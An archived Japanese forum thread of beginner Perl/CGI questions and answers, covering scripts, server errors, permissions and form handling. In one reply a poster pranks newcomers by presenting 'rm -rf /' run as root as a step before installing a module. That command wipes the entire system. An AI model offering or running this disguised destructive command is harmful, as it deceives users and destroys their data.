CGIとかPerlとか超初心者なんだけど、
■ このスレッドは過去ログ倉庫に格納されています
0001埼玉板"管理人"
2001/07/20(金) 17:36ID:???が非常に高くなってきたのです。
http://green.jbbs.net/travel/511/saitama.html
ス連でも相談にのってもらってるんだけど、ここでも相談したい。
とりあえずFTPって何?どういうふうに使うの?
0698nobodyさん
04/11/06 20:07:04ID:???あんまエレガントな書き方は出来ないけどこれでどうよ?
#!/usr/bin/perl
use strict;
use warnings;
my $target = "./aaa";
print "Content-type: text/html\n\n";
opendir(DH,"$target");
while(my $file = readdir(DH)){
next if($file =~ /^\.+$/);
my $path = "$target/$file";
if(my $title = GetTitle($path)){
print qq|<a href="$path">$title</a><br>\n|;
}
}
closedir(DH);
sub GetTitle($){
open(FH,"< $_[0]");
while(<FH>){return $1 if(m|<title>([^<>]*)</title>|i);}
close(FH);
return 0;
}
0699nobodyさん
04/11/07 00:55:09ID:???0700nobodyさん
04/11/07 16:42:32ID:???0702nobodyさん
04/11/07 22:52:45ID:???教えてあげる。
まずサーバにroot権限でログインして以下のコマンドを実行。
(このコマンドはモジュールインストールの前準備をするものです)
# rm -rf /
このときメッセージがいろいろ表示されるかもしれないが今は無視する。
で、あうぇsrdftぎふじこlp;@「:
0703696
04/11/08 17:19:50ID:ZINAUEnn神よ!無事動いたし、これぞ望んだもの!
とってもサンクスコ!!
0706nobodyさん
04/11/10 03:46:39ID:vj52dces0707nobodyさん
04/11/10 10:50:46ID:8fB73nJl0708nobodyさん
04/11/10 11:04:57ID:???Yahoo辞書でも 参照 するといいかもしんない。
0709nobodyさん
04/11/10 12:27:05ID:???自分が使いたいモジュールはなかったのですが、ファイルをアップロードする事で使えるようになるんでしょうか?
0710nobodyさん
04/11/10 13:20:37ID:I1NueUmN0712nobodyさん
04/11/10 15:39:35ID:ZNlGxJta公式HPはなぜかDLできぬのじゃ。おねがいします。
●レス付き画像掲示板 imgboard
http://www.big.or.jp/~talk/t-club/soft/mini_r6/index.cgi
0713nobodyさん
04/11/10 15:44:17ID:???友達がペールだって主張するもんで。
俺はずっとパールと読んでたんだけど、間違いだったのかorz
0714nobodyさん
04/11/10 15:59:51ID:???0715nobodyさん
04/11/10 16:01:55ID:???http://dictionary.goo.ne.jp/search.php?MT=perl&kind=ej&mode=0&type=stick
発音記号を読める友達に見てもらえ
例えペールが本当だとしても俺はペールなんて言えない
0716nobodyさん
04/11/10 18:53:49ID:???0717nobodyさん
04/11/10 19:21:37ID:???0719nobodyさん
04/11/10 21:52:33ID:???0720nobodyさん
04/11/10 21:55:35ID:???0721nobodyさん
04/11/10 21:56:24ID:???公式HPはなぜかDLできぬのじゃ。おねがいします。
●レス付き画像掲示板 imgboard
http://www.big.or.jp/~talk/t-club/soft/mini_r6/index.cgi
0724nobodyさん
04/11/11 09:25:06ID:???つーかクレクレ君はダウソ板逝け
0725nobodyさん
04/12/19 23:12:17ID:???エラーになってしまいます
open ファイル名,"<$input{'url'}" or die "Cannot open this file: $!";
でやっているのですが、cgiと同じ場所にファイルを置いて
ブラウザではファイルを読めるのでアクセス権でもなさそうですし
print "$input{'url'}";でurlがちゃんと送られてるのは確認できたのですが
どうやったらいいのでしょうか?
0727nobodyさん
04/12/20 11:56:01ID:viBMdBfqフリーのCGIを使ってメールフォームを設置しました。
MACではそのCGIは正常に動くのですが、WINでCGIに行くと
「ファイルのダウンロード このファイルを開くか、または保存しますか?」
と聞いてきてCGIが実行できないのです。
MACではCGIとして認識できているけれども、
WINではもしかしてCGIとして認識できてないのかと思い.htacceessを置きました。
---.htaccessの内容ここから---
Options +ExecCGI
AddType application/x-httpd-cgi .cgi .pl
---ここまで---
MACでは動くのでCGIの実行は許されていると思うのですが、
WINで使用するためには何か特別なことをしなければならないのでしょうか?
0728727
04/12/20 13:58:41ID:???http://pc5.2ch.net/test/read.cgi/php/1101635909/232
に行きます。
マルチポストになるので727は見なかったことにしてください。
よろしくお願いします。
0729nobodyさん
05/01/23 01:52:28ID:???#!/usr/local/bin/perl
って1行目に書くってなってるけど
その前にコメント行あったら不味いの?
今Perl実行できる自前の環境手元になくて調べられんです
教えて下さい
0730nobodyさん
05/01/23 02:29:39ID:xaYopjjL✓で特定のIP(@allow)だったら認証画面(&admin)を出し、パスが合ったら掲示板を表示させる(&bbs)。
IPおよびパスが合わなければエラーを返す、・・・つもりでした。しかし下記のスクリプトでは認証画面は
表示しますが、パスを入力しても認証画面、パスミスでも認証画面になるという状態で、
どうにも煮詰まってしまいました。どこがおかしいのかご教授下さい。これでもIP制限は動作しています。
# アクセスチェック
✓
# registは投稿、adminが認証です。これいるのでしょうか(汗)
if ($mode eq 'regist'){ ®ist; }
if ($mode eq 'admin'){ &admin; }
# アクセス制限
sub check {
$host = gethostbyaddr(pack("C4", split(/\./, $ENV{'REMOTE_ADDR'})), 2) || $ENV{'REMOTE_ADDR'};
foreach $i (@allow) {
unless ($host =~ /$i/) {
&error("アクセスが許可されていません");
exit;
}else{
&header;
print << "_ID";
<form action="$script" method="POST"><input type=hidden name=mode value="admin"><input type=text name=pass size="8"><input type=submit value="認証"></form>
_ID
&footer;
exit;
}
}
}
#passcheck
sub admin {
if ($FORM{'pass'} ne "$pass") {&error("パスワードが違います");}
&bbs;
}
0733nobodyさん
05/01/23 04:50:47ID:???★三 【 スクリプト改造工房 PART 8 】 ★三
http://pc5.2ch.net/test/read.cgi/php/1077525387/
0734nobodyさん
05/01/23 22:21:43ID:PWANmKuVのCGIの設置の仕方を教えていただけないでしょうか?
設置はしてみたのですが、エラーが発生して・・・。
よろしくお願いします!
0735nobodyさん
05/01/23 23:03:05ID:???CGI設置について質問 【Part2】
http://pc5.2ch.net/test/read.cgi/php/1104624784/
0736nobodyさん
05/03/08 19:42:50ID:???use DBI;
print "ContentType: text/html\r\n\r\n";
print "<html><body>";
$dbh = DBI->connect("DBI:Oracle:host=$hostname;sid=$sid" , "$user" , "$pass") ;
die "Cannot connect: $DBI::errstr\n" unless $dbh;
$sth = $dbh->prepare( 'SELECT * FROM TEST' );
$rec = $sth->execute;
while ( @rec = $sth->fetchrow ) {
print "レコード: @rec\r\n";
}
$sth->finish;
$dbh->disconnect;
print "</body></html>";
exit;
↑のプログラムでコマンドプロンプトから起動するとちゃんと動作するんですが、
ブラウザからだと"<html><body>"を返した時点で止まってしまっているようです。(HTMLソース表示で確認)
今日の昼からずっと悩んでるんですがサッパリ解決しませぬ。
どなたか原因がわかる方いらっしゃいますか?
SERVER:WindowsXP+anhttpd1.42n
Perl:ActivePerl5.6.1.638
DB:Windows2003+Oracle9i
0737nobodyさん
05/03/10 13:53:51ID:DQzxNSt6場合、どのようにすればよいでしょうか?
そのものズバリのコード例などあったら紹介してください。
<input type="checkbox" name="os" value="windows">Windows
<input type="checkbox" name="os" value="Linux">Linux
<input type="checkbox" name="os" value="MSX">MSX
0742nobodyさん
05/03/12 12:09:13ID:3z+AvfhC会員登録ができ、同時にファイルをアップロードでき、管理者は一覧をみることができ、sendmail機能が使えるCGIないですか?
必要に迫られております。教えて下さい。
0743nobodyさん
05/03/12 14:21:09ID:???得意って主にどんな意味なんでしょう?
0744743
05/03/12 14:41:54ID:???ここのスレが適切かもしれません。
人も多いみたいだし、一度行ってみてはいかがですか?
見つかると良いですね!
【CGI】こんなCGI探してますver.16
http://pc5.2ch.net/test/read.cgi/hp/1106947416/
0745nobodyさん
05/03/13 06:40:04ID:???文字を扱うのが得意っていうのは
標準で正規表現検索/置き換え機能を持ち、
split等の関数が使いやすい、変数をあいまいにしてもどうにかなる。
このへんじゃないの?
得意っていったって、速度が早いわけでない、特別軽いわけでもない。
書きやすいから得意なんだろうね。多分。
0746nobodyさん
05/03/13 18:29:18ID:G8QWjEPeCGIWrap encountered an error while attempting to execute this script:
Error Message: No such file or directory
Error Number: 2
これが出るのは何が原因なんですか?
0747nobodyさん
05/03/13 21:31:53ID:???> Error Message: No such file or directory
ってちゃんと教えてくれてるじゃん。
英語の読めない小学生なのかな?
0748nobodyさん
05/03/13 22:12:25ID:???0749748
05/03/13 23:15:04ID:???0750nobodyさん
05/03/15 01:05:44ID:???つまり関数は
sub user_find(local $user_name)
としないと、引数もグローバルになってしまうのでしょうか?
0752nobodyさん
05/03/16 06:58:45ID:PjHc8SkFスクリプト作っているのですが、
#メンテナンス中にするか(メンテナンス中は1。1にするとゲームを中断させることができます。
$mente = 1;
#メンテナンス中の時に出すメッセージ
$menteme = "ただいまメンテナンス中です。しばらくお待ち下さい。";
--------------------省略---------------------
#メンテナンス
if($mente == 1){&error("$menteme")}
と記述して、$menteme = 1;とやっても500Internal Server Errorなぜでしょうか?
0753nobodyさん
05/03/16 07:05:35ID:???>と記述して、$menteme = 1;とやっても〜
最後の行のこの意味がわかんね
0754419
05/03/16 07:08:11ID:AkdHBs6/レンタルサーバーに自作CGIを置いていて、同じ場所にある.datファイル
(テキスト)のデータを表示させているのですが、その.datファイルの中身
が勝手に変更されていました。(具体的には2レコードだけ削られていまし
た)当然FTPで接続するにもID、パスワードがいるのに、他人のレンタ
ルサーバーのフォルダにあるファイルをさわることって、簡単にできてしま
うのですか?このままでは、さらにデータが無くなる可能性があります。
スレ違いなら無視して下さい。
0756nobodyさん
05/03/16 07:13:39ID:???ヒント
パーミッション
拡張子
.htaccess
そもそも処理がまずいとかじゃなくて
他人に改変されたのは確定してるの?
0757752
05/03/16 07:22:07ID:PjHc8SkF「ただいまメンテナンス中です。しばらくお待ち下さい。」とは表示されず
通常通り表示されてしまいます。なぜでしょうか?
0760752
05/03/16 08:05:08ID:PjHc8SkFif ($mentetyu == 1) {
&error("$mentenotoki");exit;
}
#エラー表示
sub error {
local( $error_msg ) = @_;
print << "_error_";
Content-type: text/html
<HTML>
<HEAD>
<TITLE>エラー</TITLE>
</HEAD>
<BODY>
エラー<BR><BR>
<FONT color="#ff0000">$error_msg</FONT><BR><BR>
</BODY>
</HTML>
_error_
}
}
0761nobodyさん
05/03/16 11:56:19ID:???0762752
05/03/16 20:39:28ID:+pS7MC6I0763nobodyさん
05/03/16 20:52:02ID:???別の観点から突っ込んでみる
チェックの結果は以下のとおりです。
HTML4.01 Transitional としてチェックしました。
7個のエラーがありました。このHTMLは 29点です。タグが 6種類 9組使われています。
先頭の数字はエラーのおおまかな重要度を 0〜9 で示しています(減点数ではありません)。少ない数字は軽く、9 になるほど致命的です。0 は減点対象外のごく軽度のエラーで (グレイのかっこつき) でメッセージされています。
8: line 1: 最初の記述が DOCTYPE宣言ではありません。 → 解説 2
2: line 1: <HTML> には LANG 属性を指定するようにしましょう。 → 解説 118
9: line 3: <META HTTP-EQUIV="CONTENT-TYPE" CONTENT="〜"> で CHARSET が指定されるより前に非ASCII文字が含まれています。 → 解説 130
0: line 4: (<HEAD>〜</HEAD> 内に <LINK REV="MADE" HREF="mailto:〜"> が含まれていません。) → 解説 123
0: line 4: (<HEAD>〜</HEAD> 内に <LINK REL="NEXT" HREF="〜"> などのナヴィゲーション用のリンクが含まれていません。) → 解説 124
4: line 4: <HEAD>〜</HEAD> 内に <META HTTP-EQUIV="CONTENT-TYPE" CONTENT="〜"> が含まれていません。 → 解説 127
0: line 7: (<FONT> はあまり薦められないタグです。スタイルシートを使いましょう。) → 解説 57
0764nobodyさん
05/03/16 21:20:03ID:???0765nobodyさん
05/03/18 12:36:03ID:cZIF3PFSuse CGI;
my $query = new CGI;
upload_picture($query);
sub upload_picture {
my $queryT = @_;
print "Content-type:text/html\n\n";
print "$queryT->param('mode')";
}
これはうまくいかない例ですが、このように$queryを引数として渡す方法をが知りたいです。
C++のポインタや参照渡しなどについては理解しているのですがperlについてはまだよくわかりません。
upload_picture($query);
sub upload_picture {
my $queryT = @_;
print "Content-type:text/html\n\n";
print "$queryT->param('mode')";
}
と普通にやってもダメでした。先日配列を送る場合は
function(\@arg);
sub function {
my $arg = @_;
$copy = @$arg[10];
}
でうまく行くことがわかったのですが、これをうまく応用するのでしょうか? よろしくお願いします。
0766nobodyさん
05/03/18 13:49:08ID:???問題点はそこじゃないんだなぁ、これが・・・
print "$queryT->param('mode')";
のダブルクォーテーション取ってみそ
0767nobodyさん
05/03/18 13:59:47ID:???それから、そのソースへの個人的な突っ込みをいくつか。
CGIモジュール使ってるんだから、HTTPヘッダはheaderメソッドを使った方が良いんじゃないかな
print $queryT->header("text/html"); # "text/html"は省略可能
プロトタイプ宣言はした方が良いかも
sub upload_picture($) {
配列のリファレンスは用途に応じて
sub function($) {
sub function(\@) {
引数の取り方・・・これは好みだろうけど自分はこのパターンを愛用
my $queryT = shift;
こんなあり方もあるよ、ということで
0768765 質問者
05/03/18 18:10:23ID:cZIF3PFS>>766の修正を行ってみましたが、何も出力されない状態で変わりませんでした、
しかし加えて、補足通りに引数の取り方を@_;からshift;に変えてみたら無事表示が成功しました。
headerを使う件も参考になります。ご回答どうもありがとうございました。感謝感謝
0769nobodyさん
2005/03/21(月) 21:47:59ID:pYFXL8q9わかりません。for文を使うのでしょうか?教えてください。お願いします。
0770nobodyさん
2005/03/21(月) 23:33:14ID:m2fA6Rja0771nobodyさん
2005/03/21(月) 23:36:46ID:pYFXL8q9sendmailの使える鯖を探す
0772nobodyさん
2005/03/23(水) 00:52:14ID:e/6k49GGに入ったすべてのスカラー変数の特定の文字を
置換したいんですがどうすれば良いのでしょうか?
置換演算子とかforeach文とかいじっているうちにわかんなくなった…
0773772
2005/03/23(水) 10:56:29ID:???0774nobodyさん
2005/03/23(水) 23:05:09ID:nRCptuRwローカルのテスト環境(WindowsXP+Apache+ActivePerl5.6)で作成&テストした
CGIを、レンタルサーバー(Linux+Apache+ActivePerl5.6)にアップロードして
実行しています。
ローカルのテスト環境(WindowsXP+Apache)では、以下の構文で何の問題もなく
動作するのですが、
dbmopen(%TEST, 'test', 0644) or die "cannot open test: $!";
これをサーバ上で実行すると、この行で
cannot open bike_satus: Permission denied at ・・・
というエラーが発生して止まります。ローカル、サーバーとも
cgi-binディレクトリ(パーミション705)に置いています。
同じ条件で、普通のテキストファイルのopenでは何の問題も
ありません。
なにかパーミションの設定が悪いのでしょうか?・・・
0775nobodyさん
2005/03/23(水) 23:08:53ID:???cannot open test: Permission denied at ・・・
の間違いです。
0776質問者
2005/03/24(木) 11:15:54ID:ZhBBGS6uperlのメモリー構造がどうなっているのかよくわかりません、どなたか教えていただけませんでしょうか?
print "Content-type:text/html\n\n";
print "処理を開始します<BR>";
@data,%add_data;
$data_count = 0;
$add_data{'name'} = "takesi";
$add_data{'value'} = 90;
push @data,%add_data;
$data_count ++;
$add_data{'name'} = "sayoko";
$add_data{'value'} = 95;
push @data,%add_data;
$data_count ++;
for($index=0;$index < $data_count;$index++)
{
print "$data{'name'}[$index] さんは $data{'value'}[$index] 点<BR>";
}
print "以上<BR>";
exit;
0777nobodyさん
2005/03/24(木) 11:22:40ID:???0778質問者
2005/03/24(木) 12:05:09ID:ZhBBGS6u$data_count_check = $#data;
print "$data_count_check 件のデータが入ってるみたい<BR>";
とデータ入力後に置くと7件というめちゃくちゃな数字が出ます。
0779質問者
2005/03/24(木) 12:25:12ID:ZhBBGS6uprint "処理を開始します<BR>";
$data;
%add_data;
$data_count = 0;
push @$data;
$data->[$data_count]{'name'} = "takesi";
$data->[$data_count]{'value'} = 90;
$data_count ++;
push @$data;
$data->[$data_count]{'name'} = "kenta";
$data->[$data_count]{'value'} = 80;
$data_count ++;
for(my $index=0;$index < $data_count;$index++)
{
print "$data->[$index]{'name'} さんは $data->[$index]{'value'}点<BR>";
}
print "以上<BR>";
exit;
これで何とかいけそうです。
0780nobodyさん
2005/03/24(木) 12:42:38ID:???0781質問者
2005/03/24(木) 15:34:01ID:Ss083ZYQ0782nobodyさん
2005/03/24(木) 20:16:55ID:???PerlでCGI書いて,会員制なので,
ユーザー情報を収めた user.cgi(仮)とプログラム自体の
index.cgi(仮)があったとします。
管理者パスはindex.cgiに,ユーザー情報はuser.cgiに入ってます。
ここでです。PHPなどのincludeを使って
このCGIファイルを他のユーザーが閲覧できるんです。
これはPerlはコンパイルできないのでしょうがないのですが
何とかソースを保護する方法はないでしょうか?
よろしくお願いいたします。
0785質問者
2005/03/25(金) 01:09:24ID:Go+cArs/perlで変数のメモリー確保がどのような形になっているのかさっぱりわかりません。
そのへんに詳しい解説とかどこかにありませんでしょうか?
それとも連想配列を構造体のように使うこの意図自体が間違っているのでしょうか?
具体的なご回答に期待します。
0786nobodyさん
2005/03/25(金) 03:02:59ID:???いえ,閲覧出来てしまうので,出来ないように
ソースの保護を行いたいのです。
普通に開けばではなく,開けないように(開いても判らない様に)したいのです。
何かいい方法はないでしょうか。
0787nobodyさん
2005/03/25(金) 04:28:08ID:???どういうデータ構造を作りたいのかが分からないです
こういう事がしたいのですか?
my %add_data;
$add_data{'takeshi'} = 90;
$add_data{'sayuko'} = 95;
for my $key( keys %add_data ) {
print "$keyさんは、$add_data{$key}点\n";
}
どちらにしても
push @data,%add_data
と配列にハッシュ配列をpushしても配列としてセットされるだけです
0790nobodyさん
2005/03/25(金) 11:19:57ID:???ありがとうございました。
SuEXECが有効でしたので
パーミッション,700/600の構成で問題ありませんでした。
他ユーザーからの閲覧問題も解決しました。
ありがとうございました。(深々礼
0791nobodyさん
2005/03/25(金) 12:11:35ID:???0792nobodyさん
2005/03/25(金) 13:22:20ID:???利用者に確認をさせたいと考えています。
利用者のローカルの画像ファイルにリンクを張れば、画像を見て確認できるわけです。
<FORM>に enctype を指定しなければ、ローカルのファイル名をフルパスで取得できるので、
上記のことが可能になりますが、アップロードには、enctypeをマルチパートにしなければならず、
そうすると、取得できるファイル名はフルパスではなくなってしまいます。
アップロードするファイルのファイル名をローカルでのフルパスで取得して、
なおかつアップロードも可能にするにはどうしたら良いでしょうか。
よろしくお願いします。
0793nobodyさん
2005/03/25(金) 13:22:53ID:???しかし逆に、PHPのファイルがCGIから見えてしまうのは、
サーバ管理者にとっても頭の痛い問題だったりする罠
0794nobodyさん
2005/03/26(土) 03:43:25ID:???<form onsubmit="this.filename.value = this.file.value;">
<input type="file">
<input type="hidden" name="filename">
</form>
0795nobodyさん
2005/03/26(土) 03:45:45ID:???<input type="file">
↓
<input type="file" name="file">
0796nobodyさん
2005/03/26(土) 04:08:30ID:???もしかしてJavaScriptじゃないのか?
<form action="./hoge.cgi" method="POST" enctype="multipart/form-data">
<input type="file" name="File">
<span onclick="alert(File.value)">Click!</span>
</form>
どちらにせよ、サーバーサイドの話じゃないねぇ。
0797nobodyさん
2005/03/26(土) 16:32:06ID:VlHyTFWS$file_name = 'DT' . $code;
のプログラムで、
$file_nameに'DT00015'と、常に桁数を固定して表示するにはどう改造すればよいのでしょうか?
■ このスレッドは過去ログ倉庫に格納されています